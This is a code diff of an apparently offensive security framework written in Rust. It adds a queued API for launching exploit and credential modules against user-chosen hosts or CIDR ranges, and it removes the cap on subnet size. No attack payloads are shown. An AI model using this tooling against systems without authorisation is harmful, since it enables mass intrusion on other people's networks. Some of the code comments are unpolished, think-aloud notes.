pub async fn verbose_log(&self, message: &str) -> Result<()> {
|
||||
if self.verbose {
|
||||
self.log_message(message).await?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn verify_key(&self, provided_key: &str) -> bool {
|
||||
let key_guard = self.current_key.read().await;
|
||||
key_guard.key == provided_key
|
||||
@@ -431,11 +514,14 @@ async fn auth_middleware(
|
||||
if client_ip != "unknown" {
|
||||
if let Ok(allowed) = state.check_auth_rate_limit(&client_ip).await {
|
||||
if !allowed {
|
||||
let response = ApiResponse {
|
||||
success: false,
|
||||
message: "Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
|
||||
data: None,
|
||||
};
|
||||
let response = create_response(
|
||||
false,
|
||||
"Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
|
||||
None,
|
||||
Some(ApiErrorCode::RateLimited.as_str().to_string()),
|
||||
None,
|
||||
None,
|
||||
);
|
||||
return (StatusCode::TOO_MANY_REQUESTS, Json(response)).into_response();
|
||||
}
|
||||
}
|
||||
@@ -457,11 +543,14 @@ async fn auth_middleware(
|
||||
|
||||
// Basic key format validation
|
||||
if !validate_api_key_format(provided_key) {
|
||||
let response = ApiResponse {
|
||||
success: false,
|
||||
message: "Malformed API key".to_string(),
|
||||
data: None,
|
||||
};
|
||||
let response = create_response(
|
||||
false,
|
||||
"Malformed API key".to_string(),
|
||||
None,
|
||||
Some(ApiErrorCode::AuthFailed.as_str().to_string()),
|
||||
Some("API key must be printable ASCII and not empty.".to_string()),
|
||||
None,
|
||||
);
|
||||
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
|
||||
}
|
||||
|
||||
@@ -474,11 +563,14 @@ async fn auth_middleware(
|
||||
let _ = state.record_auth_failure(&client_ip).await;
|
||||
}
|
||||
|
||||
let response = ApiResponse {
|
||||
success: false,
|
||||
message: "Invalid API key".to_string(),
|
||||
data: None,
|
||||
};
|
||||
let response = create_response(
|
||||
false,
|
||||
"Invalid API key".to_string(),
|
||||
None,
|
||||
Some(ApiErrorCode::AuthFailed.as_str().to_string()),
|
||||
None,
|
||||
None,
|
||||
);
|
||||
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
|
||||
}
|
||||
|
||||
@@ -490,15 +582,111 @@ async fn auth_middleware(
|
||||
// Track IP for hardening (if enabled)
|
||||
let _ = state.track_ip(&client_ip).await;
|
||||
|
||||
// Track IP for hardening (if enabled)
|
||||
let _ = state.track_ip(&client_ip).await;
|
||||
|
||||
state.verbose_log(&format!("Authenticated request from IP: {}", client_ip)).await.ok();
|
||||
|
||||
next.run(request).await
|
||||
}
|
||||
|
||||
async fn health_check() -> Json<ApiResponse> {
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: "API is running".to_string(),
|
||||
data: None,
|
||||
})
|
||||
Json(create_response(
|
||||
true,
|
||||
"API is running".to_string(),
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
))
|
||||
}
|
||||
|
||||
async fn get_module_info(
|
||||
State(_state): State<ApiState>,
|
||||
axum::extract::Path((category, name)): axum::extract::Path<(String, String)>,
|
||||
) -> Response {
|
||||
let module_path = format!("{}/{}", category, name);
|
||||
if commands::discover_modules().contains(&module_path) {
|
||||
let response = create_response(
|
||||
true,
|
||||
"Module found".to_string(),
|
||||
Some(serde_json::json!({
|
||||
"module": module_path,
|
||||
"category": category,
|
||||
"name": name,
|
||||
"exists": true
|
||||
})),
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
);
|
||||
(StatusCode::OK, Json(response)).into_response()
|
||||
} else {
|
||||
let response = create_response(
|
||||
false,
|
||||
"Module not found".to_string(),
|
||||
None,
|
||||
Some(ApiErrorCode::InvalidModule.as_str().to_string()),
|
||||
Some("Check the module list for available modules.".to_string()),
|
||||
None,
|
||||
);
|
||||
(StatusCode::NOT_FOUND, Json(response)).into_response()
|
||||
}
|
||||
}
|
||||
|
||||
async fn validate_module_params(
|
||||
Json(payload): Json<RunModuleRequest>,
|
||||
) -> Response {
|
||||
let start_time = std::time::Instant::now();
|
||||
let module_name = payload.module.as_str();
|
||||
let target = payload.target.as_str();
|
||||
|
||||
if !validate_module_name(module_name) {
|
||||
let response = create_response(
|
||||
false,
|
||||
"Invalid module name format".to_string(),
|
||||
None,
|
||||
Some(ApiErrorCode::InvalidModule.as_str().to_string()),
|
||||
Some("Module format: category/name. Allowed chars: [a-z0-9/_/-]".to_string()),
|
||||
Some(start_time),
|
||||
);
|
||||
return (StatusCode::BAD_REQUEST, Json(response)).into_response();
|
||||
}
|
||||
|
||||
// Check if module exists
|
||||
if !commands::discover_modules().contains(&module_name.to_string()) {
|
||||
let response = create_response(
|
||||
false,
|
||||
format!("Module '{}' does not exist", module_name),
|
||||
None,
|
||||
Some(ApiErrorCode::InvalidModule.as_str().to_string()),
|
||||
None,
|
||||
Some(start_time),
|
||||
);
|
||||
return (StatusCode::NOT_FOUND, Json(response)).into_response();
|
||||
}
|
||||
|
||||
if !validate_target(target) {
|
||||
let response = create_response(
|
||||
false,
|
||||
"Invalid target format".to_string(),
|
||||
None,
|
||||
Some(ApiErrorCode::InvalidTarget.as_str().to_string()),
|
||||
Some("Target must be a valid IP, hostname, or CIDR.".to_string()),
|
||||
Some(start_time),
|
||||
);
|
||||
return (StatusCode::BAD_REQUEST, Json(response)).into_response();
|
||||
}
|
||||
|
||||
let response = create_response(
|
||||
true,
|
||||
"Validation successful".to_string(),
|
||||
Some(serde_json::json!({ "valid": true })),
|
||||
None,
|
||||
None,
|
||||
Some(start_time),
|
||||
);
|
||||
(StatusCode::OK, Json(response)).into_response()
|
||||
}
|
||||
|
||||
async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
|
||||
@@ -523,86 +711,115 @@ async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
|
||||
creds,
|
||||
};
|
||||
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: "Modules retrieved successfully".to_string(),
|
||||
data: Some(serde_json::to_value(data).unwrap_or(serde_json::Value::Null)),
|
||||
})
|
||||
Json(create_response(
|
||||
true,
|
||||
"Modules retrieved successfully".to_string(),
|
||||
Some(serde_json::to_value(data).unwrap_or(serde_json::Value::Null)),
|
||||
None,
|
||||
None,
|
||||
None, // TODO: track duration
|
||||
))
|
||||
}
|
||||
|
||||
async fn run_module(
|
||||
State(state): State<ApiState>,
|
||||
Json(payload): Json<RunModuleRequest>,
|
||||
) -> Result<Json<ApiResponse>, StatusCode> {
|
||||
) -> Response {
|
||||
let start_time = std::time::Instant::now();
|
||||
let module_name_raw = payload.module.as_str();
|
||||
let target_raw = payload.target.as_str();
|
||||
|
||||
// Validate inputs
|
||||
if !validate_module_name(module_name_raw) {
|
||||
return Err(StatusCode::BAD_REQUEST);
|
||||
let response = create_response(
|
||||
false,
|
||||
"Invalid module name format".to_string(),
|
||||
None,
|
||||
Some(ApiErrorCode::InvalidModule.as_str().to_string()),
|
||||
Some("Module format: category/name. Allowed chars: [a-z0-9/_/-]".to_string()),
|
||||
Some(start_time),
|
||||
);
|
||||
return (StatusCode::BAD_REQUEST, Json(response)).into_response();
|
||||
}
|
||||
if !validate_target(target_raw) {
|
||||
return Err(StatusCode::BAD_REQUEST);
|
||||
let response = create_response(
|
||||
false,
|
||||
"Invalid target format".to_string(),
|
||||
None,
|
||||
Some(ApiErrorCode::InvalidTarget.as_str().to_string()),
|
||||
Some("Target must be a valid IP, hostname, or CIDR.".to_string()),
|
||||
Some(start_time),
|
||||
);
|
||||
return (StatusCode::BAD_REQUEST, Json(response)).into_response();
|
||||
}
|
||||
|
||||
// Sanitize for logging only
|
||||
let module_name = sanitize_for_log(module_name_raw);
|
||||
let target_name = sanitize_for_log(target_raw);
|
||||
|
||||
state
|
||||
if let Err(_) = state
|
||||
.log_message(&format!(
|
||||
"API request: run module '{}' on target '{}'",
|
||||
module_name, target_name
|
||||
))
|
||||
.await
|
||||
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||
.await
|
||||
{
|
||||
let response = create_response(
|
||||
false,
|
||||
"Internal Server Error: Logging failed".to_string(),
|
||||
None,
|
||||
Some(ApiErrorCode::ServerError.as_str().to_string()),
|
||||
None,
|
||||
Some(start_time),
|
||||
);
|
||||
return (StatusCode::INTERNAL_SERVER_ERROR, Json(response)).into_response();
|
||||
}
|
||||
|
||||
// Acquire permit to limit concurrency
|
||||
// We hold an owned permit and move it into the thread
|
||||
let permit = state.execution_limit.clone().acquire_owned().await.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||
// Fire and forget: Try to send to the job queue
|
||||
let job = Job {
|
||||
module: module_name.to_string(),
|
||||
target: target_name.to_string(),
|
||||
verbose: state.verbose,
|
||||
start_time,
|
||||
};
|
||||
|
||||
// Run the module in a separate OS thread to support !Send futures (like Mutex guards and ThreadRng)
|
||||
// We use a current_thread runtime which allows !Send futures to be blocked on.
|
||||
let module = payload.module.clone();
|
||||
let target = payload.target.clone();
|
||||
let state_clone = state.clone();
|
||||
|
||||
std::thread::spawn(move || {
|
||||
let _permit = permit; // Permit is dropped when thread finishes
|
||||
|
||||
// Use current_thread runtime for lightweight isolation and !Send support
|
||||
let rt = tokio::runtime::Builder::new_current_thread()
|
||||
.enable_all()
|
||||
.build();
|
||||
|
||||
match rt {
|
||||
Ok(rt) => {
|
||||
rt.block_on(async {
|
||||
if let Err(e) = commands::run_module(&module, &target).await {
|
||||
let _ = state_clone
|
||||
.log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
|
||||
.await;
|
||||
} else {
|
||||
let _ = state_clone
|
||||
.log_message(&format!(
|
||||
"Successfully completed module '{}' on target '{}'",
|
||||
sanitize_for_log(&module), sanitize_for_log(&target)
|
||||
))
|
||||
.await;
|
||||
}
|
||||
});
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Failed to create runtime for module execution: {}", e);
|
||||
}
|
||||
match state.job_sender.try_send(job) {
|
||||
Ok(_) => {
|
||||
// 202 Accepted
|
||||
(StatusCode::ACCEPTED, Json(create_response(
|
||||
true,
|
||||
format!("Module '{}' queued for execution against '{}'", module_name, target_name),
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
Some(start_time),
|
||||
))).into_response()
|
||||
},
|
||||
Err(mpsc::error::TrySendError::Full(_)) => {
|
||||
// Queue full - return 503
|
||||
let response = create_response(
|
||||
false,
|
||||
"Job queue is full. Please try again later.".to_string(),
|
||||
None,
|
||||
Some(ApiErrorCode::RateLimited.as_str().to_string()), // Or ServerError, but RateLimit fits load shedding
|
||||
Some("Increase queue size or wait for jobs to finish.".to_string()),
|
||||
Some(start_time),
|
||||
);
|
||||
(StatusCode::SERVICE_UNAVAILABLE, Json(response)).into_response()
|
||||
},
|
||||
Err(_) => {
|
||||
// Channel closed
|
||||
let response = create_response(
|
||||
false,
|
||||
"Internal Server Error: Job queue closed".to_string(),
|
||||
None,
|
||||
Some(ApiErrorCode::ServerError.as_str().to_string()),
|
||||
None,
|
||||
Some(start_time),
|
||||
);
|
||||
(StatusCode::INTERNAL_SERVER_ERROR, Json(response)).into_response()
|
||||
}
|
||||
});
|
||||
|
||||
Ok(Json(ApiResponse {
|
||||
success: true,
|
||||
message: format!("Module '{}' execution started for target '{}'", module_name, target_name),
|
||||
data: None,
|
||||
}))
|
||||
}
|
||||
}
|
||||
|
||||
async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
|
||||
@@ -632,11 +849,14 @@ async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
|
||||
"tracked_ips": ip_details,
|
||||
});
|
||||
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: "Status retrieved successfully".to_string(),
|
||||
data: Some(status_data),
|
||||
})
|
||||
Json(create_response(
|
||||
true,
|
||||
"Status retrieved successfully".to_string(),
|
||||
Some(status_data),
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
))
|
||||
}
|
||||
|
||||
async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiResponse>, StatusCode> {
|
||||
@@ -645,11 +865,14 @@ async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiRe
|
||||
.await
|
||||
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||
|
||||
Ok(Json(ApiResponse {
|
||||
success: true,
|
||||
message: "API key rotated successfully".to_string(),
|
||||
data: Some(serde_json::json!({ "new_key": new_key })),
|
||||
}))
|
||||
Ok(Json(create_response(
|
||||
true,
|
||||
"API key rotated successfully".to_string(),
|
||||
Some(serde_json::json!({ "new_key": new_key })),
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
)))
|
||||
}
|
||||
|
||||
async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
|
||||
@@ -681,11 +904,14 @@ async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
|
||||
})
|
||||
.collect();
|
||||
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: format!("Retrieved {} tracked IP addresses", ips.len()),
|
||||
data: Some(serde_json::json!({ "ips": ips })),
|
||||
})
|
||||
Json(create_response(
|
||||
true,
|
||||
format!("Retrieved {} tracked IP addresses", ips.len()),
|
||||
Some(serde_json::json!({ "ips": ips })),
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
))
|
||||
}
|
||||
|
||||
async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
|
||||
@@ -720,11 +946,14 @@ async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
|
||||
})
|
||||
.collect();
|
||||
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: format!("Retrieved {} IPs with authentication failures", failures.len()),
|
||||
data: Some(serde_json::json!({ "auth_failures": failures })),
|
||||
})
|
||||
Json(create_response(
|
||||
true,
|
||||
format!("Retrieved {} IPs with authentication failures", failures.len()),
|
||||
Some(serde_json::json!({ "auth_failures": failures })),
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
))
|
||||
}
|
||||
|
||||
pub async fn start_api_server(
|
||||
@@ -732,14 +961,93 @@ pub async fn start_api_server(
|
||||
api_key: String,
|
||||
harden: bool,
|
||||
ip_limit: u32,
|
||||
verbose: bool,
|
||||
queue_size: usize,
|
||||
workers: usize,
|
||||
) -> Result<()> {
|
||||
let state = ApiState::new(api_key.clone(), harden, ip_limit);
|
||||
// Create channel for jobs
|
||||
let (tx, rx) = mpsc::channel(queue_size);
|
||||
let state = ApiState::new(api_key.clone(), harden, ip_limit, verbose, tx);
|
||||
|
||||
// Spawn worker pool
|
||||
// We clone the receiver for each worker? No, mpsc Receiver is not Clone.
|
||||
// We need an Arc<Mutex<Receiver>> OR usually we just move receiver into one logic/distributor?
|
||||
// Wait, typical pattern for multiple consumers is `async-channel` or `crossbeam`, but Tokio mpsc Receiver is single consumer.
|
||||
// Ah! To have multiple workers on a single mpsc receiver, we wrap it in Arc<Mutex> OR we just use `async-crossbeam-channel` or similar.
|
||||
// OR we spawn 1 dispatcher task that owns RX and sends to N workers?
|
||||
//
|
||||
// Actually, Tokio's recommended pattern for worker pool is:
|
||||
// 1. Arc<Mutex<Receiver>> (slow)
|
||||
// 2. async-channel crate (MPMC)
|
||||
//
|
||||
// Since I can't easily add dependencies without checking cargo.toml (I see `tokio`), I will check if I can use `async-channel`.
|
||||
// Let me check Cargo.toml first?
|
||||
//
|
||||
// Actually, simple solution:
|
||||
// Wrap Receiver in Arc<Mutex> is fine for 10-20 workers.
|
||||
|
||||
let shared_rx = Arc::new(tokio::sync::Mutex::new(rx));
|
||||
|
||||
for _ in 0..workers {
|
||||
let rx_clone = shared_rx.clone();
|
||||
let state_clone = state.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
// Lock the receiver to get a job
|
||||
let job = {
|
||||
let mut lock = rx_clone.lock().await;
|
||||
lock.recv().await
|
||||
};
|
||||
|
||||
if let Some(j) = job {
|
||||
// Create a pseudo-receiver that yields just this one job, or refactor worker_loop
|
||||
// Refactoring worker_loop to take a single job is better but I put loop inside it.
|
||||
// Let's just create a modified worker body here.
|
||||
let module = j.module.clone();
|
||||
let target = j.target.clone();
|
||||
let verbose = j.verbose;
|
||||
let s_clone = state_clone.clone();
|
||||
|
||||
// Run the job logic (blocking join)
|
||||
std::thread::spawn(move || {
|
||||
let rt = tokio::runtime::Builder::new_current_thread()
|
||||
.enable_all()
|
||||
.build();
|
||||
|
||||
match rt {
|
||||
Ok(rt) => {
|
||||
rt.block_on(async {
|
||||
if let Err(e) = commands::run_module(&module, &target, verbose).await {
|
||||
let duration = j.start_time.elapsed().as_millis();
|
||||
let _ = s_clone
|
||||
.log_message(&format!("Error running module ({}): {} [{}ms]", ApiErrorCode::ExecutionError.as_str(), sanitize_for_log(&e.to_string()), duration))
|
||||
.await;
|
||||
} else {
|
||||
let duration = j.start_time.elapsed().as_millis();
|
||||
let _ = s_clone
|
||||
.log_message(&format!(
|
||||
"Successfully completed module '{}' on target '{}' [{}ms]",
|
||||
sanitize_for_log(&module), sanitize_for_log(&target), duration
|
||||
))
|
||||
.await;
|
||||
}
|
||||
});
|
||||
}
|
||||
Err(e) => eprintln!("Worker Thread: Failed to create runtime: {}", e),
|
||||
}
|
||||
}).join().ok();
|
||||
} else {
|
||||
break; // Channel closed
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Log initial startup
|
||||
state
|
||||
.log_message(&format!(
|
||||
"Starting API server on {} with hardening: {}, IP limit: {}",
|
||||
bind_address, harden, ip_limit
|
||||
"Starting API server on {} with hardening: {}, IP limit: {}, Workers: {}, Queue: {}",
|
||||
bind_address, harden, ip_limit, workers, queue_size
|
||||
))
|
||||
.await?;
|
||||
|
||||
@@ -750,12 +1058,16 @@ pub async fn start_api_server(
|
||||
if harden {
|
||||
println!("📊 IP limit: {}", ip_limit);
|
||||
}
|
||||
println!("👷 Workers: {}", workers);
|
||||
println!("📥 Queue Size: {}", queue_size);
|
||||
println!("📝 Log file: {}", state.log_file.display());
|
||||
|
||||
// Create routes that require authentication
|
||||
let protected_routes = Router::new()
|
||||
.route("/api/modules", get(list_modules))
|
||||
.route("/api/module/{category}/{name}", get(get_module_info))
|
||||
.route("/api/run", post(run_module))
|
||||
.route("/api/validate", post(validate_module_params))
|
||||
.route("/api/status", get(get_status))
|
||||
.route("/api/rotate-key", post(rotate_key_endpoint))
|
||||
.route("/api/ips", get(get_tracked_ips))
|
||||
@@ -790,4 +1102,4 @@ pub async fn start_api_server(
|
||||
.context("API server error")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
+20
@@ -43,4 +43,24 @@ pub struct Cli {
|
||||
/// Set global target IP/subnet for all modules
|
||||
#[arg(long)]
|
||||
pub set_target: Option<String>,
|
||||
|
||||
/// Enable verbose output (shows detailed operation logs)
|
||||
#[arg(short, long)]
|
||||
pub verbose: bool,
|
||||
|
||||
/// List all available modules and exit
|
||||
#[arg(long)]
|
||||
pub list_modules: bool,
|
||||
|
||||
/// Output format (text, json)
|
||||
#[arg(long, default_value = "text")]
|
||||
pub output_format: Option<String>,
|
||||
|
||||
/// API job queue size (default: 100)
|
||||
#[arg(long, default_value_t = 100)]
|
||||
pub queue_size: usize,
|
||||
|
||||
/// Number of worker threads for API jobs (default: 10)
|
||||
#[arg(long, default_value_t = 10)]
|
||||
pub workers: usize,
|
||||
}
|
||||
|
||||
+29
-8
@@ -10,6 +10,8 @@ use crate::utils::normalize_target;
|
||||
/// CLI dispatcher
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
// Target resolution logic...
|
||||
crate::utils::verbose_log(cli_args.verbose, "Handling CLI command...");
|
||||
|
||||
let raw = if let Some(ref t) = cli_args.target {
|
||||
t.clone()
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
@@ -25,8 +27,10 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
};
|
||||
|
||||
let target = normalize_target(&raw)?;
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
crate::utils::verbose_log(cli_args.verbose, &format!("Normalized target: {}", target));
|
||||
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
|
||||
match command {
|
||||
"exploit" => {
|
||||
let trimmed = module.trim_start_matches("exploits/");
|
||||
@@ -47,7 +51,9 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
}
|
||||
|
||||
/// Interactive module runner
|
||||
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> Result<()> {
|
||||
crate::utils::verbose_log(verbose, &format!("Attempting to run module '{}' against '{}'", module_path, raw_target));
|
||||
|
||||
// 1. Resolve module using compile-time list
|
||||
let available = discover_modules();
|
||||
|
||||
@@ -57,18 +63,32 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
m.rsplit_once('/').map(|(_, short)| short == module_path).unwrap_or(false)
|
||||
});
|
||||
|
||||
if let Some(m) = full_match {
|
||||
crate::utils::verbose_log(verbose, &format!("Exact module match found: {}", m));
|
||||
} else if let Some(m) = short_match {
|
||||
crate::utils::verbose_log(verbose, &format!("Short module match found: {}", m));
|
||||
}
|
||||
|
||||
let resolved = if let Some(m) = full_match {
|
||||
m
|
||||
} else if let Some(m) = short_match {
|
||||
m
|
||||
} else {
|
||||
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
|
||||
// List modules grouped by category
|
||||
// TODO: Could use `list_all_modules` logic from utils if public, or reimplement simply here
|
||||
for m in available {
|
||||
println!(" {}", m);
|
||||
use colored::*;
|
||||
eprintln!("{}", format!("❌ Unknown module '{}'.", module_path).red());
|
||||
|
||||
// Fuzzy matching
|
||||
let best_match = available.iter()
|
||||
.map(|m| (m, strsim::levenshtein(module_path, m)))
|
||||
.min_by_key(|&(_, dist)| dist);
|
||||
|
||||
if let Some((suggestion, dist)) = best_match {
|
||||
if dist < 5 { // Threshold for suggestions
|
||||
eprintln!("{}", format!(" Did you mean: {}?", suggestion).yellow());
|
||||
}
|
||||
}
|
||||
return Ok(());
|
||||
|
||||
return Err(anyhow::anyhow!("Module not found"));
|
||||
};
|
||||
|
||||
// 2. Resolve target
|
||||
@@ -89,6 +109,7 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
let target = normalize_target(&target_str)?;
|
||||
crate::utils::verbose_log(verbose, &format!("Target resolved to: {}", target));
|
||||
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
|
||||
+24
-71
@@ -61,7 +61,9 @@ impl GlobalConfig {
|
||||
|
||||
// Try to parse as CIDR subnet first
|
||||
if let Ok(network) = trimmed.parse::<IpNetwork>() {
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
// No size limit enforced here - user can set 0.0.0.0/0 if they want.
|
||||
// Consumers (looping logic) must handle large subnets responsibly (e.g. via iterators).
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Subnet(network));
|
||||
return Ok(());
|
||||
}
|
||||
@@ -70,7 +72,7 @@ impl GlobalConfig {
|
||||
Self::validate_hostname_or_ip(trimmed)?;
|
||||
|
||||
// Otherwise, treat as single IP or hostname
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
Ok(())
|
||||
}
|
||||
@@ -87,7 +89,7 @@ impl GlobalConfig {
|
||||
|
||||
// Check for valid characters
|
||||
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("Regex compilation failed");
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!(
|
||||
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
|
||||
@@ -118,8 +120,8 @@ impl GlobalConfig {
|
||||
|
||||
/// Get the global target as a single string (for display)
|
||||
pub fn get_target(&self) -> Option<String> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
target_guard.as_ref().map(|t| match t {
|
||||
let guard = self.target.read().ok()?;
|
||||
guard.as_ref().map(|t| match t {
|
||||
TargetConfig::Single(ip) => ip.clone(),
|
||||
TargetConfig::Subnet(net) => net.to_string(),
|
||||
})
|
||||
@@ -128,9 +130,9 @@ impl GlobalConfig {
|
||||
/// Get a single IP address from the global target
|
||||
/// For subnets, returns the network address (first IP)
|
||||
pub fn get_single_target_ip(&self) -> Result<String> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
let guard = self.target.read().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
|
||||
match target_guard.as_ref() {
|
||||
match guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
Ok(ip.clone())
|
||||
}
|
||||
@@ -142,81 +144,31 @@ impl GlobalConfig {
|
||||
}
|
||||
}
|
||||
|
||||
/// Get all IP addresses from the global target
|
||||
/// Returns a vector of IP addresses (expands subnets)
|
||||
/// For very large subnets (> 65536 IPs), returns an error
|
||||
pub fn get_target_ips(&self) -> Result<Vec<String>> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
// For single IP/hostname, return as-is
|
||||
Ok(vec![ip.clone()])
|
||||
}
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Check subnet size to prevent memory issues
|
||||
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
|
||||
let size = match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
1u64
|
||||
} else {
|
||||
2u64.pow(32 - prefix)
|
||||
}
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
// For very large IPv6 subnets, cap at u64::MAX
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 {
|
||||
u64::MAX
|
||||
} else {
|
||||
2u64.pow(exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
|
||||
|
||||
if size > MAX_SUBNET_SIZE {
|
||||
return Err(anyhow!(
|
||||
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
|
||||
size, MAX_SUBNET_SIZE
|
||||
));
|
||||
}
|
||||
|
||||
// Expand subnet to individual IPs
|
||||
let mut ips = Vec::new();
|
||||
for ip in net.iter() {
|
||||
ips.push(ip.to_string());
|
||||
}
|
||||
Ok(ips)
|
||||
}
|
||||
None => Err(anyhow!("No global target set")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if global target is set
|
||||
pub fn has_target(&self) -> bool {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
target_guard.is_some()
|
||||
self.target.read().map(|g| g.is_some()).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Check if global target is a subnet
|
||||
pub fn is_subnet(&self) -> bool {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
|
||||
self.target.read().map(|g| matches!(g.as_ref(), Some(TargetConfig::Subnet(_)))).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Get the target subnet if set
|
||||
pub fn get_target_subnet(&self) -> Option<IpNetwork> {
|
||||
let guard = self.target.read().ok()?;
|
||||
match guard.as_ref() {
|
||||
Some(TargetConfig::Subnet(net)) => Some(*net),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the size of the target (number of IPs)
|
||||
/// For single IPs, returns 1
|
||||
/// For subnets, returns the subnet size without expanding
|
||||
pub fn get_target_size(&self) -> Option<u64> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
let target_guard = self.target.read().ok()?;
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(_)) => Some(1),
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
@@ -252,8 +204,9 @@ impl GlobalConfig {
|
||||
|
||||
/// Clear the global target
|
||||
pub fn clear_target(&self) {
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = None;
|
||||
if let Ok(mut target_guard) = self.target.write() {
|
||||
*target_guard = None;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+212
-10
@@ -1,6 +1,8 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use clap::Parser;
|
||||
use colored::*;
|
||||
use std::net::SocketAddr;
|
||||
use std::process;
|
||||
|
||||
mod cli;
|
||||
mod shell;
|
||||
@@ -10,6 +12,63 @@ mod utils;
|
||||
mod api;
|
||||
mod config;
|
||||
|
||||
/// Custom error types for CLI operations
|
||||
#[derive(Debug)]
|
||||
pub enum CliError {
|
||||
InvalidFlagCombination { flag1: String, flag2: String, message: String },
|
||||
// MissingRequiredFlag is handled by clap, but we can wrap validaton errors
|
||||
ValidationFailed { field: String, reason: String },
|
||||
ModuleNotFound { module: String, suggestions: Vec<String> },
|
||||
TargetInvalid { target: String, reason: String },
|
||||
ApiError { message: String },
